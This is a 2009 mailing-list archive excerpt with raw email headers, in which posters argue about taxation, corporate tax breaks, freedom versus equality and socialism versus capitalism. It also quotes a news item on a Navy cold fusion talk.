On Sun, May 31, 2009 at 2:39 AM,= leaking pen <it= satrap@gmail.com> wrote:
Except that teh companies are getting that money FROM the government.
Its the same money. if companies werent getting these exorbitant
bonueses and kickbacks and breaks, income tax wouldn't be as high. as for tax amount, i would LOVE if my taxes were 50 percent. =A0To even
reach that point, it would mean, after taxes, i was taking home about
10 times what i do now.

On Sat, May 30, 2009 at 8:25 PM, Charles HOPE
<lookslikeiwasright@gmai= l.com> wrote:
> Is it really possible that employers extract more than the government = does?
> If the accounting is performed, I'm sure you'll find employer = extraction of
> surplus (even in a zero-sum system) much less than the ~50% extracted = by
> government in direct taxes and indirect inflation. Government is the > super-exploiter.
>
>
> On Fri, May 29, 2009 at 10:23 AM, leaking pen <itsatrap@gmail.com> wrote:
>>
>> THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER!
>>
>> How is it not? =A0Employers, the big ones, get corporate tax break= s,
>> government kickbacks for building and bringing in jobs and "b= oosting
>> the economy". =A0Roads that are mostly used and used up by fr= eight
>> trucks are paid for and repaired by funds that come from the avera= ge
>> citizen, especially taxes on gasoline (which, being a business mak= es
>> you immune to such taxes). =A0Large companies get a po box in the<= br> >> caymans that protects them from additional tax. =A0How is large sc= ale
>> employers, making billions in profit a yeah, basically cheating th= e
>> system to not pay taxes on money they would never have made withou= t
>> the governments help in the first place, and that cost then being<= br> >> passed on to the rest of us, NOT exploitation by the employer?
>>
>> and thats before we talk about companies like walmart, that make s= ure
>> most of their employees are just part time enough to never get
>> benefits, but then hire a person to help their employees enroll in=
>> medicaid, rather than having medical insurance plans available...<= br> >>
>> On Fri, May 29, 2009 at 7:12 AM, Jeff Fink <revtec@ptd.net> wrote:
>> > When you have equality of opportunity, some will act on the o= pportunity
>> > and
>> > some will not. =A0The industrious will prosper more than the = lazy. =A0Some
>> > on
>> > this forum will say that the resulting disparity in wealth is= unfair,
>> > and
>> > that the wealth of the industrious individuals must be taken = and given
>> > to
>> > those who have less. =A0This process is a move toward equaliz= ing outcome,
>> > and
>> > is embodied by the graduated income tax system, where achieve= rs are
>> > liberated of their achievement at an ever higher percentage b= ased on
>> > their
>> > success.
>> >
>> > Some of the needy truly need help, but many are merely milkin= g the
>> > system.
>> >
>> > Where is freedom if hard working people are looted to give fr= ee rides to
>> > slackers. =A0We hear the Marxist axiom "From him accordi= ng to his ability
>> > to
>> > him according to his need." How much can you bleed the w= orkers with
>> > taxes
>> > before they revolt. =A0The US worker is not unhappy about the= size of his
>> > paycheck as much as he is unhappy about how little of it he i= s allowed
>> > to
>> > keep. =A0THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER!
>> >
>> > If we are truly free, some people will outperform others. =A0= If we are
>> > forced
>> > to be equal (equal pay for unequal effort), nobody gets ahead= , we all
>> > give
>> > up trying. =A0The result is not sharing the wealth, but equal= ly sharing
>> > the
>> > misery.
>> >
>> > In a planned economy, who gets to do the planning? =A0Who doe= s all the
>> > work?
>> > It has always been and always will be the case that the quali= ty of life
>> > of
>> > the planners will be far better than the life of the planee. = =A0There will
>> > be
>> > no equality between these two groups. =A0Central planning mea= ns micro
>> > managing, which is inefficient, error prone, and ultimately p= unishes
>> > achievers.
>> >
>> > Jeff.
>> >
>> > -----Original Message-----
>> > From: leaking pen [mailto:itsatrap@gmail.com]
>> > Sent: Thursday, May 28, 2009 4:59 PM
>> > To: vortexb-l@eskimo.= com
>> > Subject: Re: [VoB]:freedom and/or equality
>> >
>> > No, as all rights automatically include a duty with them. =A0= If everyone
>> > has the right to free speech, then everyone automatically has= a duty
>> > to protect and not infringe anothers free speech. =A0Ethics 1= 01 my man.
>> >
>> > On Thu, May 28, 2009 at 1:19 PM, Jeff Fink <revtec@ptd.net> wrote:
>> >> The only thing I see as the difference after checking my = dictionary is
>> > that
>> >> an opportunity is a chance whereas a liberty is supposed = to be a right.
>> > =A0As
>> >> rights go, what we have on paper and what we have in actu= ality is not
>> >> necessarily the same.
>> >>
>> >> Have you considered the possibility that freedom and equa= lity are
>> >> mutually
>> >> exclusive concepts.
>> >>
>> >> Jeff
>> >>
>> >> -----Original Message-----
>> >> From: leaking pen [mailto:itsatrap@gmail.com]
>> >> Sent: Thursday, May 28, 2009 1:19 PM
>> >> To: vortexb-l@esk= imo.com
>> >> Subject: Re: [VoB]:freedom and/or equality
>> >>
>> >> This. =A0I fail to see a difference.
>> >>
>> >> On Thu, May 28, 2009 at 10:12 AM, Jeff Fink <revtec@ptd.net> wrote:
>> >>> What is the difference between opportunity and libert= y in your
>> >>> opinion?
>> >>>
>> >>> Jeff
>> >>>
>> >>> -----Original Message-----
>> >>> From: Harry Veeder [mailto:hveeder@ncf.ca]
>> >>> Sent: Thursday, May 28, 2009 12:16 PM
>> >>> To: vortexb-l= @eskimo.com
>> >>> Subject: Re: [VoB]:freedom and/or equality
>> >>>
>> >>> neither.
>> >>> I prefer equal liberty.
>> >>>
>> >>> Harry
>> >>>
>> >>> ----- Original Message -----
>> >>> From: Jeff Fink <revtec@ptd.net>
>> >>> Date: Thursday, May 28, 2009 11:31 am
>> >>> Subject: [VoB]:freedom and/or equality
>> >>>
>> >>>> Would you prefer to live in a society that guaran= tees equal
>> >>>> opportunity, or
>> >>>> one that guarantees equal outcome?
>> >>>>
>> >>>>
>> >>>>
>> >>>> Jeff
>> >>>>
>> >>>>
>> >>>
>> >>>
>> >>>
>> >>>
>> >>
>> >>
>> >>
>> >>
>> >
>> >
>> >
>> >
>>
>
>
>
> --
> Never did I see a second sun
> Never did my skin touch a land of glass
> Never did my rifle point but true
> But in a land empty of enemies
> Waiting for the tick-tick-tick of the want
> A uranium angel
> Crying =93behold,=94
> This land that knew fire is yours
> Taken from Corruption
> To begin anew
>




--
Never did I= see a second sun
Never did my skin touch a land of glass
Never did m= y rifle point but true
But in a land empty of enemies
Waiting for the= tick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--0015174c18ba38af73046b41de88-- From vortexb-l-request@eskimo.com Sun May 31 22:12:14 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n515CCWX003400; Sun, 31 May 2009 22:12:12 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n515CBln003390; Sun, 31 May 2009 22:12:11 -0700 Resent-Date: Sun, 31 May 2009 22:12:11 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=+AwLBSw/vt0ceWSdhU5tCTDiQShA7QAXctN+yQHni24=; b=kjghyf9NqHTo5eLOltjvqTR7BD7nH68Y3lzZJeW4PK08DTHSrUpK4g8V8VkAqc37Mz mSZtTTGOjkh8AjlfLsBqVMBCAU1sndxEhEXTBFjnAa+pRAbC35VLU8E+CYzpumMJzR7V GhfNu3p7Jsxk8oK+58ClI2841ilvjDekbuGo0= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=js/lWHBNNl22aNZp5DvlhD/IF0kXtowk1ppwc9+4jwa5RLExDeoTW9oH0KVj04QKh9 IqvKHljjzxurifXE1f45tQLSbzYKjLKV59ybkOWipd1Z6ZSOzfJ6NedcvNf0MmLiC4RU ipfqs7l0cnKfjS01UrWfuGEzRRcGxshCW98qM= MIME-Version: 1.0 In-Reply-To: <20090601024135.GA25643@shell.resist.ca> References: <20090601024135.GA25643@shell.resist.ca> From: Charles HOPE Date: Mon, 1 Jun 2009 01:11:50 -0400 Message-ID: <63ffa6020905312211p664ecfcflcf0f135cf273827f@mail.gmail.com> Subject: Re: [VoB]:Re: [Vo]:H. G. Wells describes our predicament in 1913 To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001517478be8e2d2bf046b42777a Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4280 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 522 --001517478be8e2d2bf046b42777a Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Capitalism is bound by physical limits, but Socialism can turn water into wine. Especially since nobody's ever seen Socialism. On Sun, May 31, 2009 at 10:41 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > > Without cold fusion, I do anticipate many many conventional wars in the > > middle of the 21st century fighting over oil, and water, like the last > two > > wars we fought in Iraq. > > > > And if the spirit of the anti-cold fusion, anti-science fanatics > prevails, > > then in the more distant future I expect wars over food and land, fough= t > > with sticks and rocks. Things tend to either progress or regress. > > Civilization seldom remains in stasis for long. > > > > - Jed > > And, as usual, you people simply cannot conceive that it is your capitali= st > system -- > and not "human nature", nor supposed "limits to growth" -- which is the > sole real > limiting factor here. And that socialism is the answer and the key to all > future > advance -- including the equitable and democratic distribution of the > benefits of > scientific research and teknologikal development. > > > - -- grok. > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkojP98ACgkQXo3EtEYbt3H8sgCfd2Zl7ZjzK3+YYQCDnnnTkDSn > 6uUAn10MVrjYuIR3mblxpjOBUiS6XnMN > =3DHi9T > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001517478be8e2d2bf046b42777a Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Capitalism is bound by physical limits, but Socialism can turn water into w= ine. Especially since nobody's ever seen Socialism.




=
On Sun, May 31, 2009 at 10:41 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SI= GNED MESSAGE-----
Hash: SHA1


> Without cold fusion, I do anticipate many many conventional wars in th= e
> middle of the 21st century fighting over oil, and water, like the last= two
> wars we fought in Iraq.
>
> And if the spirit of the anti-cold fusion, anti-science fanatics preva= ils,
> then in the more distant future I expect wars over food and land, foug= ht
> with sticks and rocks. Things tend to either progress or regress.
> Civilization seldom remains in stasis for long.
>
> - Jed

And, as usual, you people simply cannot conceive that it is your capitalist= system --
and not "human nature", nor supposed "limits to growth"= -- which is the sole real
limiting factor here. And that socialism is the answer and the key to all f= uture
advance -- including the equitable and democratic distribution of the benef= its of
scientific research and teknologikal development.


- -- grok.





- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkojP98ACgkQXo3EtEYbt3H8sgCfd2Zl7ZjzK3+YYQCDnnnTkDSn
6uUAn10MVrjYuIR3mblxpjOBUiS6XnMN
=3DHi9T
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001517478be8e2d2bf046b42777a-- From vortexb-l-request@eskimo.com Sun May 31 22:31:18 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n515VE5k009587; Sun, 31 May 2009 22:31:14 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n515V9gj009566; Sun, 31 May 2009 22:31:09 -0700 Resent-Date: Sun, 31 May 2009 22:31:09 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 31 May 2009 22:31:00 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:H. G. Wells describes our predicament in 1913 Message-ID: <20090601053100.GF6663@shell.resist.ca> Reply-To: grok@resist.ca References: <20090601024135.GA25643@shell.resist.ca> <63ffa6020905312211p664ecfcflcf0f135cf273827f@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905312211p664ecfcflcf0f135cf273827f@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: James L. Jones, AVN, The Z's, Salsa, cow pox User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4281 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 523 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Capitalism is bound by physical limits, but Socialism can turn water into > wine. Especially since nobody's ever seen Socialism. That's pretty much your only (and threadbare) argument, ain't it, Chuckie? But capitalism VERY much indeed has very real fyzikal limits. - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkojZ5QACgkQXo3EtEYbt3Hw5ACg28f1IwQXDTJlzbFvazcmYIVm VYMAoKvEnK06rbZrsN44KH3WUE+VaMe7 =OQ/r -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun May 31 22:57:41 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n515vdEm006883; Sun, 31 May 2009 22:57:39 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n515vYLf006866; Sun, 31 May 2009 22:57:34 -0700 Resent-Date: Sun, 31 May 2009 22:57:34 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=ZKSJ9qBs0YwLlTRXhkPuYrltpviCMaxULRhxQuvqfGs=; b=UXwPOdCojt1H4VQaalwy8SgISYRjJyDc4VGRZ7aj0CkdUWdSgGK/KpOtM88ujhjE66 Ynvf491mawLyz2YyDGDRCKuCWRUbLb9INrGxy1lpH5hnjhLYjyhAPcqQfPSqYMyfrQWp et8WYKA4jBK0Wcb5i4SUW391Y+HJtVuPXZzRM= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=K4Vhbm8pccN3B3/8tzSnDUN1AZOIYXOtIBd6PBBObb3SJemHyQQey+jpO2EVQ6dVYO X7xmtBhI1jdwV3WWtcZkE1RToUHvNiOj95qumainEuTSO0JZWJ+lgxVDx/nj4IoMkiy9 n1I8w+Uch4q04AovJTERQBD2qf1V9EQJVGBGM= MIME-Version: 1.0 In-Reply-To: <63ffa6020905312128t161cf947gbb50e908a065f7a1@mail.gmail.com> References: <298e62298947.298947298e62@ncf.ca> <53B7112ACEA644E2850C2B3E72DDF907@REVTEC1> <63ffa6020905302025o47ea89e0y488c141e40ae6225@mail.gmail.com> <63ffa6020905312128t161cf947gbb50e908a065f7a1@mail.gmail.com> Date: Sun, 31 May 2009 22:57:33 -0700 Message-ID: Subject: Re: [VoB]:freedom and/or equality From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4282 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 524 most of those services TO corporations. No, costs wont rise much, profits at the corporate level will go down. When a company saves 100 million by getting the goverment to pay for their new facility, do you think it comes off of prices? hell no. also, tax loopholes for corporations ... http://uprisingradio.org/home/?p=3D7210 an article that estimates "loopholes and havens" are costing the gov 100 billion a year in corporate tax. heres income currently based on the goverments own numbers , numbers in millions of dollars. 2008, private income tax. 1,163,472 corporate income tax 370,243 whos paying the most? ohh, and all that spending, does it go straight to people? no, most of it goes to businesses in the form of grants. the military budget is immense, and who gets that money? halliburton and defense contractors. Many people will point out that health and human services is as big a piece of the pie. But thats mostly social security, paid for by social security insurance payments and medicare paid for by medicare payments on payrolls, seperate of the straight income tax. Thats paid half and half by companies and the employees, except for self employed. the numbers (again in millions) of receipts? 869,607 these numbers from this link, btw. http://www.gpoaccess.gov/usbudget/fy09/hist.html On Sun, May 31, 2009 at 9:28 PM, Charles HOPE wrote: > Your taxes aren't high because of corporate tax breaks but the myriad > services government is expected to provide. Our domestic spending is > ridiculous, and we are paying for 700 foreign army bases in 130 countries= . > If corporations were taxed, it would do nothing raise prices for consumer= s. > > > > > On Sun, May 31, 2009 at 2:39 AM, leaking pen wrote: >> >> Except that teh companies are getting that money FROM the government. >> Its the same money. if companies werent getting these exorbitant >> bonueses and kickbacks and breaks, income tax wouldn't be as high. as >> for tax amount, i would LOVE if my taxes were 50 percent. To even >> reach that point, it would mean, after taxes, i was taking home about >> 10 times what i do now. >> >> On Sat, May 30, 2009 at 8:25 PM, Charles HOPE >> wrote: >> > Is it really possible that employers extract more than the government >> > does? >> > If the accounting is performed, I'm sure you'll find employer extracti= on >> > of >> > surplus (even in a zero-sum system) much less than the ~50% extracted = by >> > government in direct taxes and indirect inflation. Government is the >> > super-exploiter. >> > >> > >> > On Fri, May 29, 2009 at 10:23 AM, leaking pen >> > wrote: >> >> >> >> THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! >> >> >> >> How is it not? Employers, the big ones, get corporate tax breaks, >> >> government kickbacks for building and bringing in jobs and "boosting >> >> the economy". Roads that are mostly used and used up by freight >> >> trucks are paid for and repaired by funds that come from the average >> >> citizen, especially taxes on gasoline (which, being a business makes >> >> you immune to such taxes). Large companies get a po box in the >> >> caymans that protects them from additional tax. How is large scale >> >> employers, making billions in profit a yeah, basically cheating the >> >> system to not pay taxes on money they would never have made without >> >> the governments help in the first place, and that cost then being >> >> passed on to the rest of us, NOT exploitation by the employer? >> >> >> >> and thats before we talk about companies like walmart, that make sure >> >> most of their employees are just part time enough to never get >> >> benefits, but then hire a person to help their employees enroll in >> >> medicaid, rather than having medical insurance plans available... >> >> >> >> On Fri, May 29, 2009 at 7:12 AM, Jeff Fink wrote: >> >> > When you have equality of opportunity, some will act on the >> >> > opportunity >> >> > and >> >> > some will not. The industrious will prosper more than the lazy. >> >> > Some >> >> > on >> >> > this forum will say that the resulting disparity in wealth is unfai= r, >> >> > and >> >> > that the wealth of the industrious individuals must be taken and >> >> > given >> >> > to >> >> > those who have less. This process is a move toward equalizing >> >> > outcome, >> >> > and >> >> > is embodied by the graduated income tax system, where achievers are >> >> > liberated of their achievement at an ever higher percentage based o= n >> >> > their >> >> > success. >> >> > >> >> > Some of the needy truly need help, but many are merely milking the >> >> > system. >> >> > >> >> > Where is freedom if hard working people are looted to give free rid= es >> >> > to >> >> > slackers. We hear the Marxist axiom "From him according to his >> >> > ability >> >> > to >> >> > him according to his need." How much can you bleed the workers with >> >> > taxes >> >> > before they revolt. The US worker is not unhappy about the size of >> >> > his >> >> > paycheck as much as he is unhappy about how little of it he is >> >> > allowed >> >> > to >> >> > keep. THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! >> >> > >> >> > If we are truly free, some people will outperform others. If we ar= e >> >> > forced >> >> > to be equal (equal pay for unequal effort), nobody gets ahead, we a= ll >> >> > give >> >> > up trying. The result is not sharing the wealth, but equally shari= ng >> >> > the >> >> > misery. >> >> > >> >> > In a planned economy, who gets to do the planning? Who does all th= e >> >> > work? >> >> > It has always been and always will be the case that the quality of >> >> > life >> >> > of >> >> > the planners will be far better than the life of the planee. There >> >> > will >> >> > be >> >> > no equality between these two groups. Central planning means micro >> >> > managing, which is inefficient, error prone, and ultimately punishe= s >> >> > achievers. >> >> > >> >> > Jeff. >> >> > >> >> > -----Original Message----- >> >> > From: leaking pen [mailto:itsatrap@gmail.com] >> >> > Sent: Thursday, May 28, 2009 4:59 PM >> >> > To: vortexb-l@eskimo.com >> >> > Subject: Re: [VoB]:freedom and/or equality >> >> > >> >> > No, as all rights automatically include a duty with them. If >> >> > everyone >> >> > has the right to free speech, then everyone automatically has a dut= y >> >> > to protect and not infringe anothers free speech. Ethics 101 my ma= n. >> >> > >> >> > On Thu, May 28, 2009 at 1:19 PM, Jeff Fink wrote: >> >> >> The only thing I see as the difference after checking my dictionar= y >> >> >> is >> >> > that >> >> >> an opportunity is a chance whereas a liberty is supposed to be a >> >> >> right. >> >> > As >> >> >> rights go, what we have on paper and what we have in actuality is >> >> >> not >> >> >> necessarily the same. >> >> >> >> >> >> Have you considered the possibility that freedom and equality are >> >> >> mutually >> >> >> exclusive concepts. >> >> >> >> >> >> Jeff >> >> >> >> >> >> -----Original Message----- >> >> >> From: leaking pen [mailto:itsatrap@gmail.com] >> >> >> Sent: Thursday, May 28, 2009 1:19 PM >> >> >> To: vortexb-l@eskimo.com >> >> >> Subject: Re: [VoB]:freedom and/or equality >> >> >> >> >> >> This. I fail to see a difference. >> >> >> >> >> >> On Thu, May 28, 2009 at 10:12 AM, Jeff Fink wrote= : >> >> >>> What is the difference between opportunity and liberty in your >> >> >>> opinion? >> >> >>> >> >> >>> Jeff >> >> >>> >> >> >>> -----Original Message----- >> >> >>> From: Harry Veeder [mailto:hveeder@ncf.ca] >> >> >>> Sent: Thursday, May 28, 2009 12:16 PM >> >> >>> To: vortexb-l@eskimo.com >> >> >>> Subject: Re: [VoB]:freedom and/or equality >> >> >>> >> >> >>> neither. >> >> >>> I prefer equal liberty. >> >> >>> >> >> >>> Harry >> >> >>> >> >> >>> ----- Original Message ----- >> >> >>> From: Jeff Fink >> >> >>> Date: Thursday, May 28, 2009 11:31 am >> >> >>> Subject: [VoB]:freedom and/or equality >> >> >>> >> >> >>>> Would you prefer to live in a society that guarantees equal >> >> >>>> opportunity, or >> >> >>>> one that guarantees equal outcome? >> >> >>>> >> >> >>>> >> >> >>>> >> >> >>>> Jeff >> >> >>>> >> >> >>>> >> >> >>> >> >> >>> >> >> >>> >> >> >>> >> >> >> >> >> >> >> >> >> >> >> >> >> >> > >> >> > >> >> > >> >> > >> >> >> > >> > >> > >> > -- >> > Never did I see a second sun >> > Never did my skin touch a land of glass >> > Never did my rifle point but true >> > But in a land empty of enemies >> > Waiting for the tick-tick-tick of the want >> > A uranium angel >> > Crying =93behold,=94 >> > This land that knew fire is yours >> > Taken from Corruption >> > To begin anew >> > >> > > > > -- > Never did I see a second sun > Never did my skin touch a land of glass > Never did my rifle point but true > But in a land empty of enemies > Waiting for the tick-tick-tick of the want > A uranium angel > Crying =93behold,=94 > This land that knew fire is yours > Taken from Corruption > To begin anew > From vortexb-l-request@eskimo.com Mon Jun 1 14:28:12 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n51LSAAR009635; Mon, 1 Jun 2009 14:28:10 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n51LS6dU009598; Mon, 1 Jun 2009 14:28:06 -0700 Resent-Date: Mon, 1 Jun 2009 14:28:06 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 1 Jun 2009 14:27:56 -0700 From: grok To: vortexb-l@eskimo.com Cc: jedrothwell@gmail.com Message-ID: <20090601212755.GC28660@shell.resist.ca> Reply-To: grok@resist.ca References: <7.0.1.0.2.20090601154204.03946e70@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <7.0.1.0.2.20090601154204.03946e70@gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: missile interceptors, DJC, cow pox, US Pacific Fleet, JDSC User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4283 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:Frank Gordon continues the crusade in San Diego Status: O X-Status: X-Keywords: X-UID: 525 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 So of course the REAL reason I was attacked on vortex-l is essentially because most of youse attackers are actually _on-side_ with U.S. imperialism, pure and simple. Whether it is because of your parochial and limited belief systems, or just because of the promise of money, would be rather immaterial here... Point is: you appear to only be ikonoklasts when it comes to matters of fyzix. If that. - -- grok. As the smoke cleared, Jed Rothwell mounted the barricade and roared out: > The man gets around. See: > > SPAWAR continues C4ISR, cold fusion, MEMS advancement for national security > > By Courtney E. Howard > > SAN DIEGO, 1 June 2009. The 2009 Military & Aerospace Electronics Forum > kicked off today with a keynote address by Dr. Frank Gordon, head of the > Research and Applied Sciences Department at the U.S. Navy's Space and > Naval Warfare Systems Command (SPAWAR) in San Diego. In his presentation, > titled "Challenges and Strategies for Integrating Next-generation > Avionics and ATM Technology," Gordon discussed novel technologies upon > which he and his SPAWAR colleagues are focused, including innovation to > suppress improvised explosive devices (IEDs). > > http://mae.pennnet.com/display_article/363737/32/ARTCL/none/ONEWS/1/SPAWAR-continues-C4ISR,-cold-fusion,-MEMS-advancement-for-national-security/ > > - Jed > - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkokR9sACgkQXo3EtEYbt3FEcgCg3kXwU4XZaT+Ci0GwCk8Sd1WP vFsAn0Kwe/DeQyMULoSHKfXGKjlsDan6 =N0R/ -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon Jun 1 17:18:07 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n520HxnO026637; Mon, 1 Jun 2009 17:17:59 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n520HxFV026620; Mon, 1 Jun 2009 17:17:59 -0700 Resent-Date: Mon, 1 Jun 2009 17:17:59 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=KdRrPykUcl4wAX673Ylkk2KS9WC6/vARc+LJE9IDaFE=; b=dbQWVAHV+hXSg1+sNQvgNNwaEsAJy77KN9Oa5uNnvhby01QPEVGdIGDDIUyO5n74af yKi39Zq7pDclt8VfsrnV/FsayETL+DA4UnlBhO0QGgOp5dXNca3NWRT3kguTd1zoBxF3 FJrgOcRPgMfchs9JEAJg7I4UlniW+BkbbW/Vw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=GANtgu7lRMz3gqNaYXrFPdJYZwXujLQG/lUfAgIwokRW+I3vdpIA/PKm7UkKWCuvhn Ia+IKXfFVORAJ0gjnU/9ihE5e5UV3DksUi3NW1WnVc3OGMn8bFV3z7Dtd6Krc7syuT4B FGpDJ5j3bq4eJNW/sjgXDlYYojB94V1aCkhQw= MIME-Version: 1.0 In-Reply-To: References: <298e62298947.298947298e62@ncf.ca> <63ffa6020905302025o47ea89e0y488c141e40ae6225@mail.gmail.com> <63ffa6020905312128t161cf947gbb50e908a065f7a1@mail.gmail.com> From: Charles HOPE Date: Mon, 1 Jun 2009 20:17:33 -0400 Message-ID: <63ffa6020906011717l579426e9k4a7b14996f4668fc@mail.gmail.com> Subject: Re: [VoB]:freedom and/or equality To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001517478be8486636046b527988 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4284 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 526 --001517478be8486636046b527988 